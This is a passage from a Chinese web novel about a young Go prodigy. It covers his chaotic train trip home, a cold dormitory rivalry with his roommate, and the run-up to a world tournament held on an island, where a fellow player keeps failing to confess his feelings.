他见过意气风发,天之骄子般的苏陌,他是那样骄傲的人,竟会为了一段姻缘,折了满身锋芒,在他不屑一顾的佛前,俯首称臣! 到底是什么样的人,能让他如此? 是啊,到底是什么样的人,能让他如此? 纪辰新怎么也笑不出来,天才如苏陌,如果一段姻缘需要他求才能得到,那他敢肯定,这一定不是一段好姻缘! 第83章 吃斋饭的过程, 苏陌安然淡定,纪辰新和赵言权却全身都刺挠。 赵言权那颗八卦之心,在苏陌的一问三不答之下, 终于崩溃。 “到底是谁啊,你透露一个字也行啊!” 面对苏陌的不言不语,赵言权的血压都上来了,“纪辰新,你问你问!” 其实纪辰新也已经旁敲侧击过很多次了,但苏陌从始至终都只说, 总有一天你会知道的。 总有一天? 那是哪一天? 纪辰新表示自己也没有办法撬开他的嘴, 于是和赵言权俩人大眼瞪小眼 到最后, 俩人默契的不再提这事,免的给自己找不痛快。 * 下山的过程,还是比上山要好走一些, 就是有些废膝盖。 纪辰新的背包依旧被身后的苏陌包揽, 而赵言权在前面开路。 下到山脚时, 已经是下午两点。 赵言权给三人打了个车, 直奔高铁站。 等到三人安检完行李, 顺利进站,准备休整时, 纪辰新敏锐地发现, 大屏上好像没有他们这趟列车的信息。 不信邪的他, 为此还拿着票对照了好几遍。 最后发现他们这趟列车居然是K开头,而大屏上显示的列车都是G开头! 霎时,他心里一咯噔,立马找到工作人员询问。 工作人员一看,眉头瞬间皱起, “你这不对啊,你这是火车票,但我们这是高铁站,小伙子,你进错站了。” “什么时间的,我看看” “哎呀,赶快去火车站,只有四十分钟了!” 听到这,纪辰新感觉天都塌了! 由于这是一个小站,他们进来的时候只安检了行李,并没有检票,所以 要不是他关注了列车行程,估计还发现不了这点! 纪辰新立马跑到了休息区,一拳肘击到赵言权的胳膊上,气不打一处来,“你丫的,还吃!我们进错站了!” “什么?”赵言权还在剥桔子,一脸迷茫,“不会吧,这怎么可能?” 一旁的苏陌,明显也是状况外,他平常不是司机接送,就是坐飞机,高铁虽然也坐过,但几乎都有专人安排,这还是他第一次遇到这种事。 好在,他配合度好,见纪辰新急急忙忙要出站,他便立马将俩人的行李一同背上。 赵言权则将橘子一股脑全塞进了嘴里,橘子皮瞬间撒了一地,“欸,你们等等我啊!” “怎么会进错站,这不就是我们今天来的那个站吗?” “你是不是搞错了?” 纪辰新都气笑了,“我搞错?你买的是火车票啊,同志!这里是高铁站!” “火车票?”赵言权依旧懵,“火车票吗?” 说罢,他就开始拿出手机查,结果发现还真是。 再一对比手上的票,人都麻了,这票还是他家司机给他去取的,当时司机的叮嘱他也没认真听,拿了票就走了。 他顿时郁闷道,“淦!我怎么知道唯一一趟回帝都的车,居然是火车,怪也只能怪他们站点,怎么连去帝都的高铁都没有!” 纪辰新表示不想再与他计较什么了,反正以后他是不放心跟着赵言权出行了,没见过这么坑的! 三人出站后,纪辰新立即拦了辆车。 “师傅,火车站去吗。” 师傅看着三人急急忙忙,开价道,“50块哈。” 现在哪还管钱的事,就是一百块也走啊。 纪辰新应了话,“可以的,麻烦半个小时把我们送到。” 师傅淡淡点头,“尽量!” 接下来,风驰电掣,师傅在保障安全的基础上,开出了限速极,只花了二十五分钟,就将三人送到了站。 纪辰新一路小跑,赵言权终于意识到自己的错误,一个劲道歉,“都怪我太粗心了,下次我一定仔细核对,绝对不会再犯这样的错误了!” 苏陌在赵言权的带领下,经历了从未有过的狼狈,他直接丢下一句话,“没有下次了!” “啊啊啊啊,不要啊,你们再给我一次机会!”赵言权不服,“再来一次,我一定会做好万全的准备。” “” 上天眷顾,三人最后还是赶到了,但依旧是最后两分钟上车的。 纪辰新这个病患,跑的嘴唇都发白了。 “我今儿如果嘎嘣死这儿,你绝对功不可没!” “噗”赵言权既想笑,又觉得自己确实离谱,“你不会死的,就算死了,我也给你烧香的,你放心。” 纪辰新:“” 由于买的是火车票,所以原本只要五十分钟的路程,就此演变成两个多小时。 火车上人挤人,无座的一大堆,甚至还有小摊小贩背着扁担上车,过道里放满了各种要贩卖的东西。 三人即便有座位,但也被各种味道熏到不行。 纪辰新还能承受,毕竟他自己就经常坐火车。 但侧目一看另外俩人,脸色都不太好 毕竟都是养尊处优的少爷,他也能理解! 五点五十分,抵达帝都的播报终于响起,赵言权猛然起身,提着行李就要往外走。 纪辰新及时拦住了他,“没那么快,是提前播报,起码还有五六分钟。” 赵言权表示自己坐不住了,“我想起来活动活动。” 他目光似有若无地瞥了眼对面的两大爷,他们三坐一排,与对面的两大爷,总共五人几乎是面对面,脚对脚挤了两个多小时,腿都无处安放,只能缩着。 赵言权一起身,苏陌挺的笔直的身子也终于松懈下来了,他神色疲倦,看着受了不少磋磨,主要是空间太小了。 纪辰新莫名想笑,难得见到这种状态的他。 五点五十五分,火车终于停下,浩浩荡荡的人群在列车员的指示下走出了列车,原本人满为患的车厢,瞬间空无一人。 所以,这些人居然都是去帝都的,还真是人生百态啊。 回到帝都后,赵言权立马打了辆车说家里有事先走了。 他逃一般的跑了,就怕承担来自纪辰新和苏陌两个人的怒火。 这一趟经历实属难绷,且奇葩。 说实话,纪辰新已经累到生气都生不出来了。 回学校的路上,苏陌叫了司机送他。 但当苏陌打算继续送他回寝室时,纪辰新连忙拒绝了,“你也赶快回去休息吧,就这么点路,我能行的。” “今天都早点休息,明天还有早八呢。” 他能看的出来,苏陌的状况比他好不了多少,一个人背两个人的行李,应该也耗费了蛮多体力。 在纪辰新的坚持下,苏陌也没再说什么了,只是叮嘱,“到寝室了,给我发消息,说一声。” 纪辰新觉得他黏糊,他们又不是谈恋爱的小情侣,怎么还 “好了,知道了,你快回去吧。” 他忽略其中奇怪的感觉,笑着回应道。 * 宿舍,此刻并没有人。 纪辰新回来时,门却是开着的,他想或许是哪个室友出去串门去了吧。 他已经没有精力思索太多,爬上床,给苏陌回了个‘已到’便拉好帘子躺下了。 大概过去五分钟左右,脚步声由远及近,有人从外面回来了。 “事情没你想的那么简单。” 苏衍的声音倏然响起,他冷静道,“他也没你说的那么好控制。” 纪辰新躺在床上迷迷糊糊听着,一来是身体很累需要休息,二来是大脑不受控制地开始运转,他只听到一个人的脚步声,所以苏衍很可能是在打电话。 “再等等吧,不要这么心急。” 说到这儿时,他语气停顿了一下,目光陡然犀利地落在了纪辰新床下爬梯旁的鞋上。 瞬间,他仿佛意识到了什么,“好了,不跟你说了,挂了。” 纪辰新听到这,声音戛然而止,看来苏衍应该是发现他回来了。 苏衍挂断电话后,尝试着敲了敲纪辰新的架子床,“你回来了?” 他想装睡,但寝室门都没关,显然苏衍刚出去没两分钟,那他就更不可能装作很早就回来了,便轻轻“嗯”了一声,“刚回来,太累了,准备休息会儿。” “噢,你吃饭了吗,要不要我帮你打饭?”苏衍语气关怀,就好像俩人之间什么都没发生过一般。 纪辰新提醒他,“不用,我想我们还是井水不犯河水吧。” 谁知,苏衍突然轻嗤了一声,“纪辰新,我是真心想跟你交朋友的,你这样,未免太伤人心了。” 面对他的控诉,纪辰新眉头皱的很深,他是真累了,“如果真心想我和交朋友,那么在我明确了想要休息的情况下,你就不应该再打扰我了。” “话不能这么说,我不是怕你饿,想着帮你打饭吗,难道这也不行?”苏衍自有一套逻辑。 纪辰新懒的跟他扯,闭上眼,打算不再回复一句。 苏衍在床下等了好一会儿,结果都没等到回应,便怔怔地盯着那床帘一动不动。 良久才道:“我到底哪里比不上苏陌了,你能和他做朋友,为什么就不能和我做朋友。” 他的呢喃,纪辰新没听见,此时此刻已然陷入深度睡眠。 大概快两个小时后,他才被寝室里隐隐约约的说话声吵醒。 当他拉开床帘时,却不见苏衍的身影。 侯杨和张景龙细细簌簌的玩着手机,发现纪辰新醒后,他们才敢大喘气,“苏衍说你睡了,让我们不要打扰你,可憋死我们了。” “他去围棋社了,对了,他还给你打了饭,就在桌上。” “还有还有,保温杯里的热水也是他给你打的,现在天气这么冷,你说他是不是特别有心?” “话说,你们俩到底有什么矛盾啊。” “感觉他挺好的啊,对你,对我们都没话说,要不你们就和好吧,俗话说家和万事兴,这在寝室也是一样的道理。” 纪辰新冷着脸,抿唇道,“他让你俩来当说客的?” “额,没有,没有,我们就是将自己看到的告诉你而已。”侯杨与张景龙对视一眼,憨笑着摸了摸头。 纪辰新顿了一下才道,“那你们有没有听没听过这样一句话?叫眼见不一定为实!” “你们所看到的,只是他想让你们看到的。” 话落,他看着那俩明显不信的样子,就知道自己说再多也是无益,反正在他们眼里,苏衍对所有人都好,即便产生了矛盾,也不应该总是揪着不放,更何况苏衍还一直在示好。 不得不说,那家伙有两下子,玩弄人心这块儿,一套一套的! 第84章 学校的生活进行的井然有序, 其中唯一让纪辰新头疼的不是苏衍,而是他们计算机专业,不少学生开始自己配备电脑。 虽然学校有机房足以让他们完成作业, 但这些都没有比拥有一台/独属于自己的电脑诱惑大了,既可以省去了许多麻烦,又可以打游戏。 在他们寝室,苏衍是第一个买电脑的,甚至还是一个笔记本。 接下来的一个月时间里,侯杨和张景龙也分别磨着家里人买了笔记本。 纪辰新将这一切看在眼里, 其实他也仔细算过自己手里的钱够不够买笔记本, 但每每看到市场价格后, 又立即打了退堂鼓。 五六千块钱就这么白白花出去,他的心会滴血。 毕竟,这可是2012年的五六千块钱, 这钱到底有多值钱, 没有人比他更清楚。 况且, 这还是占据他所有资产百分之二十的五六千块钱, 比重太大, 他实在是舍不得。 但也正因如此,每当有作业要完成时, 原本寝室四个人会结伴去机房, 现在却只剩下他一人。 这也就导致, 侯杨和张景龙与苏衍的关系越来越紧密。 三人经常一起讨论学习,讨论功课,渐渐的,他们二人有时候甚至会为苏衍打抱不平。 但往往这个时候,苏衍又会站出来为纪辰新说好话, 弄的侯杨和张景龙经常性地搞不清楚状况。 纪辰新看着他演,至于侯杨和张景龙对他的误解,他并未放在心上。 一来他们俩并不清楚事情原委,二来他们平日里对他还跟以前一样,并没什么差别,也就只有涉及到与苏衍的矛盾时,俩人会默契地劝他和好。 所以,纪辰新也就随他们去了。 这日,纪辰新再一次去外面机房完成作业时,苏衍叫住了他。 “纪辰新,我的笔记本借你用,别去外面了,多冷啊。” 他目光玩味地看着他,语气却又是关心的姿态。 纪辰新淡淡看着他,礼貌道,“不用了,谢谢。” 对于他的拒绝,苏衍习以为常,微一挑眉便看向了另外俩人。 侯杨叹了口气,虽然他没说什么,但纪辰新已经从他眼睛里看出了他对自己的无奈与不解。 一旁地张景龙连忙道:“外面真挺冷的,别去了,你不想借他的,借我们的怎么样,我和侯杨都是愿意的!” 然而,纪辰新摇了摇头,道:“没事,你们不用管我。” 侯杨继续叹气,“唉,有时候真搞不懂你。” 他们搞不懂的事情多了去了,大多都围绕纪辰新与苏衍的关系上。 苏衍明明那么好,纪辰新却屡次不领情,简直是不好怎么形容。 但实际上,让他们来挑纪辰新的错,他们也挑不出。 纪辰新的聪明才智,他们是领教过的,现在他们专业所有学科老师布置的作业,几乎就没有纪辰新不会的,若是虚心找他学习,他还会耐心给人解答。 甚至是你要抄他的作业,他也很大方,说是神仙舍友都不为过。 而且最重要的是,他每次机房做完作业回来,临到吃饭时间,他还会给舍友带饭回来。 要知道,这么冷的天,有多少人不愿出门,有这样一个室友,把他供起来都来不及。 纪辰新没解释,轻描淡写道:“少唧唧歪歪了,等下还要不要我给你们带饭了?” “欸,要要要!”侯杨和张景龙几乎异口同声。 “是吗,那喊声爸爸来听听。”纪辰新嘴角一翘,“不喊的,今天自己去打饭。” “爹!爸!” “你就是我的再生父母!” 那俩瞬间没脸没皮的大喊。 “感谢纪爹百忙之中带饭!” 能屈能伸在他俩身上体现的淋漓尽致,虽然有时候会受苏衍的蛊惑,但纪辰新这个人具体如何,在他们心里却也有自己的一杆称的。 而且,他俩也一直在为寝室的和睦相处而努力,一度成为了纪辰新与苏衍俩人之间的和事佬。 宿舍是小型社会这句话一点没错,人都是复杂的,需要有一定的制衡之术。 纪辰新深感此话,当然了,他是不可能给苏衍带饭的,一点都带不了。 过去机房路上,侯杨和张景龙就已经把钱转过来了。 【纪爹,我今天想吃3号食堂的香菇滑鸡,还有土豆丝,感恩!】 【纪爹,我要两荤一素,随便什么都行,我不挑食的,谢谢!】 纪辰新给他们回了个OK的表情,便没再理了。 机房里,有不少同学都在赶作业,他们大多都是负担不起一台昂贵笔记本的费用才汇聚在此,毕竟帝都的学费和生活费已经压弯了不少父母的腰,他们实在不好意思再开口拿钱买什么笔记本。 纪辰新踏实地坐在这样一群人中间,学习的氛围很浓烈,有不懂的,大家也会相互讨论,但大多时候,众人还是喜欢围绕他,参考他的答案。 两个小时后,在纪辰新完成了所有作业正准备回去时,他倏然接到了刘律师的电话。 电话里,刘律师告诉他,纪知远今天终审已结束,维持原判! 听到这个消息,纪辰新整个人都愣住了,只见他缓缓松了口气,那压在心里的石头终于全部放了下来。 电话里,他的声音微颤,“刘律师,所以,这一切都结束了对不对?” 刘律师欣喜肯定,“是啊,纪先生,都结束了,一切都结束了,以后您和您奶奶再也不用担惊受怕了,想做什么就做什么。” 得到这个确切消息,纪辰新立马就给奶奶打去了电话,他要立即将这个好消息告诉奶奶。 意料之中的,李春兰也很高兴,就差敲锣打鼓庆祝了。 纪辰新笑着道,“奶奶你买点肉,鱼或者排骨什么的,自己弄着吃,千万别舍不得,我不在,你要好好照顾自己听到没。” 李春兰热泪盈眶都应下了,“乖孙你也是,别担心奶奶,奶奶在家什么都好,有吃有喝的。你关键照顾好自己,该买什么买什么,该吃什么吃什么,千万别省,若是钱不够,奶奶给你寄。” 纪辰新眼眶微湿,扯着嘴角道,“放心吧,我都知道,挂了哈!” 电话挂断后,少年似悲又喜,心情复杂地出了机房。 * 十一月中下旬,秋意基本退场,冬的凌冽全面上线。 寒风刮在脸上如刀割,吹的人睁不开眼,空气更是干燥到嘴唇、皮肤容易起皮。 纪辰新看着手机日历上不足半月的第二次世赛陷入沉思。 这次的比赛不在C市,而是选在了距离帝都更远的一个地方,F市。 他算了下路程,来回起码得三天,再加上比赛,最少需要五天的时间。 即便算上周末两天,他也还是要请三天左右的假。 其实有更迅速的方式过去,比如坐飞机,但价格实在昂贵,且需要自费,纪辰新便没有考虑这种方式。 思来想去,也就只能坐火车了,这是最便宜,且主办方愿意报销的方式。 既然确定了过去的交通方式,纪辰新便很早就去辅导员那儿打了申请。 好在,辅导员在这种事上,还算通情达理,很顺利的就批了。 对于比赛,系统的紧迫感很强,时不时就催促他。 【宿主,我们一定要抓紧时间训练,不能有一丝一毫的失误,苏陌现在已经是职业八段,离九段只有一步之遥了。】 纪辰新心里有数,【啧,急什么,他八段又如何,即便他现在想升九段,也得等明年。】 【我们的比赛比他快,自然升的也比他快。】 系统打击道:【可是万一被淘汰了,咱们的任务可就落空了。】 纪辰新怎么会不明白这个道理,叹息道,【你总长别人的威风,你看我何时懈怠过?】 系统解释:【哎呀,你不要觉得我啰嗦,我也是怕你功亏一篑。】 纪辰新:【】 于是,在系统老妈子一句又一句的催促声里,纪辰新开始了没日没夜的训练。 一直到比赛前一周,他才稍稍停下。 周末,纪辰新基本都是在宿舍度过的,虽然他之前答应了苏陌住过去,但实际上他都很少过去。 偶尔过去的那几次,也只是白天玩一下,到点就走。 唯一一次住那儿,还是半个月前,苏陌说定制的沙发到了,请他过去观摩。 当时,纪辰新确实也去观摩了,但观摩一番后,苏陌接了个电话就回爷爷奶奶家了,说是有急事,结果留他一个人住在那个大平层里,属实是给他整不会了。 不得不说,大房子自由是自由,但夜深人静,一个人的时候,孤独也是真孤独。 至此,纪辰新便再也没去过了。 * 比赛前五天,崔文和来学校找过他一次。 灰蒙蒙的天,雾朦胧,少年披散着长发,立在风中,他穿着高领毛衣,裹着清瘦肩颈,领口露出细链吊坠的一角,随着动作轻晃,深色羊毛大衣挺括垂坠。 他眉眼迤逦得近乎昳丽,眼尾轻佻时带着漫不经心的艳,下颌线又利落分明,中和了那份柔媚。 纪辰新看到他时,再一次萌生了错觉,轻一晃眼才反应过来。 明明他是雌雄莫辨的容貌,偏生冷风吹过来时,发丝飘扬,令人无措。 这几个月,崔文和外出打了不少比赛,这次是因为要参加世赛了,才有了几天的休息时间。 “我怎么感觉你比赛一直没停过,要不要跟棋院说一声,别安排这么密?” 纪辰新其实一直能收到崔文和在别地打比赛时发过来的见闻以及景色照片等,有时候遇到有趣的棋局,崔文和也会分享给他。 这也就导致,俩人的关系相比较于之前,还是相熟了不少。 而,崔文和这次来,也是想约着纪辰新一起去F市比赛,俩人目前都在帝都,也算有个伴。 “既享受了棋院的优待,那这些便是合同里,我们作为棋手应该也必须要做的。” “不提这个了,这次世赛,咱们结伴同行吧。” 对于他的提议,纪辰新倒也没问题,只不过,他很快又想到了什么,笑道,“我打算坐火车去,你也坐吗?” 崔文和拢了下耳边的发,指节分明,动作干净,没有半分拖泥带水。 只见他点头自信道:“你能坐,我便也能坐,反正我跟你一路。” 纪辰新微微挑眉,睫毛轻轻扫过他,连带着周遭的风都变得温柔。 崔文和望着望着,莫名就慌了心跳。 下一秒,纪辰新忽然打了个响指,透着少年人的爽利劲儿,“行啊,那到时候你可别叫苦啊。” “上了我这条贼船,后悔都没用!” 他的语气是那么的明媚与阳光,笑容更是坦荡又迷人。 “哈哈,那求之不得啊。”崔文和不由自主地跟着弯了眉眼,发梢沾着细碎雾气,却丝毫不显凌乱。 然而内里,他一整颗心都被纪辰新笑容中那股干净又热烈的暖意撞了又撞,迟迟无法恢复正常。 冷风吹得少年的长发贴了几缕在颈侧,他攥着大衣下摆的手指微微收紧,顿时一股冲动涌上心头,“纪辰新,其实我我一直有话想对你说。” “什么话啊?”纪辰新拢着棉衣,哈着气问。 少年的眸色里添了层认真的亮,对他少了几分防备。 崔文和咽了咽口水,喉结在高领毛衣里悄悄滚了滚,迎着风朝纪辰新走近了半步,微微颔首,垂落的发丝遮了半眼,“你你觉得我怎么样?” 冷风吹着他的长发与衣摆,艳而不柔,清而不冷。 纪辰新怔怔地看着他,根本没反应过来,“什么怎么样?你不是挺好的吗。” “呵”面对他完全不在线的脑子与回答,崔文和霎时轻笑出声。 下一瞬,他眼尾的艳色淡了点,摇了摇头,语气无奈,“算了,等这次赛后,我再正式与你说。” 他说这话时,眸色微微闪躲,只剩耳尖的红透露着他的心意。 纪辰新不明所以的看着他,总觉得会有什么大事发生。 但会是什么事呢? 他不知道!—— 作者有话说:纪辰新:到底是什么事啊,别吓我![裂开] 第85章 去往F市的当日, 纪辰新与崔文和于火车站汇合。 俩人座位买在了一起,都没带多少行李,就一人背了个包。 路线全程1520公里, 俩人坐了将近22个小时才抵达F市。 下车那刻,纵是纪辰新这样坐惯了火车的铁锭,也险些撑不住。 于是,俩人默契地哪儿也没去,直奔主办方安排的酒店休息。 由于这次来的还算早,所以差不多有一天休整的时间, 纪辰新足足在酒店睡了五六个小时后, 才逐渐恢复了过来。 他醒来时, 第一时间便看了手机。 其中,赵言权发了消息过来,祝他比赛顺利, 顺便诉苦说自己近期被赵信管的严, 就连打游戏的时间都被剥削了不少。 纪辰新无奈地摇了下头, 随后便翻了翻, 发现苏陌除了前两天给他提及过比赛的注意事项外, 这两天就像是人间蒸发了一样。 仔细一想,自从上次苏陌被他爷爷奶奶叫回去后, 好像就很少联系他了, 也不知道发生了什么事。 其实, 这些天,他也发过几次消息过去询问,但苏陌好像真的很忙,每次都要过很久才能回复,慢慢的, 纪辰新便也不去打扰他了。 也许,是真的忙吧 不过,他作为朋友,肯定还是要多关心关心的,万一真出了什么事呢? 系统煞风景道:【男主能出什么事,你就别瞎操心了,还是好好准备这次的比赛吧。】 纪辰新懒的理他,再一次给赵言权发去了消息。 【你知道苏陌最近在忙什么吗?】 【感觉他神出鬼没的,很不寻常。】 在他看来,这种事问赵言权绝对没错,他作为千年老二,一定时刻了解着男主的动向。 赵言权的消息很快发来,【他啊,听说前段时间跟家里人大吵了一架,不知道为什么。】 【反正,到现在双方还在硬刚,他爷爷气的不轻,趁着他还未成年,管教他呢。】 【对了,还有啊!几个月前,他不是弃赛吗,你猜怎么着,赛后,他爷爷要他认错,他居然说没错,结果被没收手机,关了三天禁闭。】 【要不是那时候临近开学,估计还没那么容易放出来。】 【我也刚知道不久,苏陌不愿说的事,谁也撬不动,这还是我爸跟他爷爷的朋友相熟,才意外得知的。】 吵架? 关禁闭? 居然还有这种事? 纪辰新根本想不到,苏陌还有这么叛逆的一面,就他那个清冷的性子,真的能跟人吵起来吗? 不过,他这个人有时候确实偏执,只要是他认定的事,便很难更改。 听起来,好像是为了家事在吵,那这就不是他能插手的了。 不过,也不能真的当什么都不知道,什么也不管。 思来想去,纪辰新还是拜托起了赵言权:【能不能麻烦你帮我多留意一下他的动静?】 赵言权无语道:【你这说的什么话,什么叫帮,苏陌也是我的朋友,就算你不提,我也会多留意的,放心吧。】 得知苏陌没出什么大事后,纪辰新便也就放心了下来。 倏然,“叮咚~”门铃突然响了起来。 纪辰新抬眼看向门的方向,下一秒又听到“叩叩”地敲门声。 “纪辰新,你醒了吗?” 是崔文和的声音,纪辰新想起来了,俩人之前约好了,下午三点一起去熟悉赛场的。 思及此,他便看了眼手机,已经三点过五分了,于是赶忙道,“醒了,稍等,我马上就出来。” * 此次比赛地点是在F市的一个小岛上举行,过去小岛,还得坐船,单程需要四十分钟。 好在酒店就在岛边上,坐船还是很方便的,尤其是坐快艇更快。 崔文和不想耽误时间,便租了个快艇,时间上还可以缩短二十分钟,纪辰新并无异议。 F市的天气相比与帝都还是暖和不少,风裹着海雾,把气温揉成刚好十几度。 当快艇破开浪尖时,咸腥的凉意便往衣领里钻,纪辰新攥着扶手满是惬意。 一旁的崔文和被风掀起长发,墨色发丝像被扯散的绸带,一半贴在脖颈,一半扬在风里。 俩人都没戴帽子,风将他们的嘴糊住,话一旦出口,便吹的七零八落。 长发少年忽然偏头,发梢还沾着细碎的浪花,他对着纪辰新笑,“这里好美,我给你拍几张照吧?” 纪辰新根本听不清他说什么,只见对面少年拿出手机,咔咔对着他拍了几张。 “纪辰新,你觉不觉得这样很浪漫?”拍完照的少年,耳尖轻轻泛红,“此情此景之下,如果再合照一张就更浪漫了。” 纪辰新依旧听不清他说什么,却也配合着他。 当崔文和拿着手机靠过来,打开相机的那一刻,纪辰新才知道是合照,于是举起了剪刀手,笑容明媚。 “咔嚓。”画面定格。 崔文和盯着照片看了眼,随后又抬眼看向了身旁的人,他混着海浪的声音,在十几度的空气里烫出一点暖,“宝贝,任何风景都不及你。” “你说什么?”快艇的颠簸,海浪的汹涌,全成了阻隔,纪辰新依旧没听清。 崔文和忽然凑近,目光粘腻地落在纪辰新脸上,他声音再一次被浪声吞没,“我说” 长发扫过纪辰新的脸颊,带着海的凉和少年的温。 这一次,谁也不知道,崔文和到底说了什么。 * 快艇抵达小岛时,纪辰新的头发已经被海风吹的乱七八糟,看不出一点型,就连崔文和也没好到哪儿去,他好几绺长发都打了结。 俩人从船上下来的那刻,活像是逃难的。 纪辰新一边整理头发,一边问他,“刚刚快艇上,你说什么呢?我都听不清。” 崔文和淡然一笑,当作什么事都没发生,“喊你拍照啊,我拍了好几张神图,等下发你看看。” “行吧。”纪辰新并未起疑,他整理好头发便打量起这个小岛来。 潮湿的风里飘着一抹醒目的鹅黄,一个木制的导视牌斜倚在礁石旁,‘围棋会场’还带了箭头。 除此之外,这牌匾下面还缀着行小字,‘沿环岛步道直行三百米,见棋室即到’ 纪辰新与崔文和对视了一眼,随后俩人便默契地跟着指引往岛深处走。 远处志愿者正在忙活赛事筹备,见到有人过来,便递了赛事手册过去,“你们是明日要参加比赛的选手吗?” 纪辰新点头,“冒昧的问一句,这次的赛事怎么会放在岛上比啊。” “当然是因为,下棋最忌心浮,你看这海,这岛,没了城市的车声人声,只有浪打礁石的动静,能让棋手静下心来。” “而且,这里四面环海,空气湿度也刚好,落子手感也稳。” 志愿者说到这,便指了指前面的棋室,“去看看吧,保准你们选手满意。” 棋室通体由青竹搭建,外皮还带着浅浅的竹节纹路,阳光透过竹篾编制的窗棂,在地上织出细碎的光影。 屋顶铺着层层叠叠的竹瓦,海风吹拂时,竹片间会漏下簌簌的轻响,若是混着屋里棋盘落子的脆生,倒像天然的背景音。 赛场内部是不可以进去的,俩人便只能站在外围看,所有棋盘都已摆好,就连棋桌也是竹制的,桌面打磨得光滑温润,黑白棋子落在上面,竟比寻常木桌多了几分清透。 咸湿的海风钻过来,也被竹材滤过了几分燥意,只留下淡淡的竹香。 纪辰新在此处逗留了一会儿,崔文和则在看了一圈后,去了茶水与休息处,他将这些摸清后,又带着纪辰新走了遍。 俩人在岛上待了将近一个小时,才想起返航的事。 实际上,岛上是有酒店和民宿可以住的,但主办方还是不敢冒这么大的险,万一有选手不习惯气候,导致休息不好,水土不服,无法比赛,那他们是需要负责任的。 所以,他们便想了个折中的方式,所有选手,住还是住市里,比赛则在岛上比。 再加上,第二轮比赛时间并不长,八进四,一天比完绰绰有余,即便有住在岛上的工作人员不适应,也造不成多大影响。 * 回去路上,俩人再次坐的快艇,仅仅花了二十分钟便抵达了岸边。 下了船,崔文和充满遗憾道,“本来我还想着,这次比赛我俩能对上,好好比一场的,却没想到这次大赛会遵循同一国家或地区棋手回避的原则。” “真是人算不如天算啊!” 纪辰新无所谓道,“如果你想跟我比,那我们回酒店就能下,我带了棋过来。” “可这不一样,比赛是比赛,私下只能算较量。”崔文和异常执拗地认真道。 纪辰新开解他,“但你也要知道,他们这么安排是有原因的,不论哪个国家,都不想自己国家的棋手过早的内战,相互淘汰,只要能有一个进入决赛,胜算也就能大一分。” “道理我都懂,我是怕我挺不到决赛。”崔文和苦笑道,“我的能力估计只能止步于此了,我知道的。” 纪辰新不赞同道:“八进四,实际也叫半决赛,谁说你进不了决赛,还没到最后一刻,你怎么能放弃?” “哈哈,你别安慰我了,我自己几斤几两,我还不清楚吗。”崔文和心态摆的端正,“输了又没关系,赢了更好,我打这么多比赛了,早都习惯了,胜败乃兵家常事。” “用平常心看待,早点认清自己,何乐而不为?” “况且对我来说,这比赛还没有与你正式对决一场来的重要呢。” “从明天的半决赛开始,便是现场直播了,这么多摄影机拍着,若是能录下我俩对决的画面,那才是永垂不朽!” 纪辰新愣愣听着,因他最后这句话,直接哑然。 有时候,他竟看不懂,他这脑子里究竟在想些什么!—— 作者有话说:崔文和:我能想什么?[哦哦哦]你说我能想什么[坏笑] 第86章 翌日, 清晨七点。 酒店大厅,纪辰新已经准备好,只待出发。 崔文和站在他身侧, 浅笑晏晏。 同在这个酒店住宿的另外六名选手,也都散在大厅的各处,随时可以出行。 主办方安排了工作人员,七点十分的样子,将所有人汇聚到一起,随后乘车去往海边。 上岛的方式有两种, 游船和快艇。 主办方为了方便, 给所有人一致安排的是游船, 主要也是因为游船的载客量大,选手和工作人员都可以一同过去,不必分散。 纪辰新倒是无所谓, 反正时间充足, 而且他昨天已经尝试过快艇了。 半个多小时的时间, 游船便抵达了对岸。 目前时间已经来到八点, 选手签到上厕所等, 统一规定必须在八点半之前完成,比赛时间则定在九点开始。 这次的比赛, 采用的是三番棋赛制。 八名选手, 通过抽签的形式, 随机两两分组,确定对阵情况。 三番棋的意思便是,率先赢得两局的一方获胜,计时采用每方基本限时2小时,之后5次1分钟读秒, 超时判负。 待所有选手进入棋室后,工作人员便安排抽签,这是一个实打实碰运气的过程。 即便每个人面上装的无所谓,但心里绝对在祈求好运降临。 纪辰新也一样,只不过他求的是,遇上一个态度端正且有礼貌的选手,千万别让他再碰上像朴敏宰那样的傻逼了。 抽签结果出来的那刻,一切便已尘埃落定。 纪辰新要对战的是一位韩国选手,名叫赵宇灿。 崔文和要对战的却是一位日本选手,并且还是位老熟人,名叫宫本佐藤。 纪辰新对宫本佐藤是有印象的,年25,围棋七段,擅长传统打法。 这家伙上次虽然输给了自己,但却赢了队内的另外俩人,顺利晋级,后面更是过五关斩六将,进入了八强,实力不容小觑,至少对崔文和来说。 也不知道崔文和对这个人了不了解,趁着比赛还未开始,纪辰新便主动找到崔文和,交代了一番。 “时间紧迫,我长话短说,这个叫宫本佐藤的,他打法保守,且喜欢掌控大局,你对战他的时候,最好灵活一点,给他制造局部冲突。” “他不适应快节奏,你尽量出其不意,打乱他的布局,引他出错。” 纪辰新说这些的时候,神情认真,真心实意地同他分享经验。 崔文和心下感动,眉眼一弯,“好,我都记下了,谢谢你。” 实际上,在第二轮世赛前,每个进入了八强的选手,都或多或少地在这三个月内,有去研究另外七名选手。 只要是有纪录的,过往的全部比赛,都不知道被人盘了多少遍了。 就像崔文和,他虽然没跟宫本佐藤下过,却也查询过宫本从前的比赛对局,从而了解他这个人下棋的风格与招式。 所以,即便纪辰新不说,他自己心里也是有数的。 但纪辰新这种无私相告的精神,崔文和还是很钦佩的,毕竟俩人从另一方面来说,也算是对手。 纪辰新其实并不知道,除他之外的其他所有选手都在赛前探查过对手的底了。 只有他从始至终,只知道研究苏陌的棋。 而现在,他也只是将自己所知道的一点实战经验,告诉崔文和罢了。 终归,崔文和就与他相熟,提点一下也无可厚非。 纪辰新做这一切算是举手之劳,问心无愧,然而崔文和却叹他人品好,说什么也要礼尚往来,回馈他。 “韩国选手,赵宇灿,我之前看过他的比赛,他是个精准计算流,他下的每一步都像用尺子量过,棋型规整,局部死算,找不出一丝一毫的破绽。” “对了,他还擅长以退为进,总之,不可轻敌。” 纪辰新愣了一下,随后惊讶地看着他,“你从哪知道的?” “这个嘛,当然看他打比赛,总结出来的啊。”崔文和笑着道,“难道你没看过他们的比赛吗?” 然而,回应他的只有沉默与尴尬。 霎时间,崔文和不可置信地瞪大了眼睛,“你不会一个都没研究过吧?” 这到底是多大的自信与自负啊! 纪辰新意识到问题的严重性,“所以要研究吗?” 这一刻,他仿佛天都塌了,就好像所有同学都瞒着他做了暑假作业,而他从始至终都不知道有作业! 光是想想,便觉无望。 淦,这还怎么比? 老底都被人掀了,他还在这傻乐呢! 就在纪辰新奔溃,无法释怀之际,系统突然蹦了出来,异常无语道: 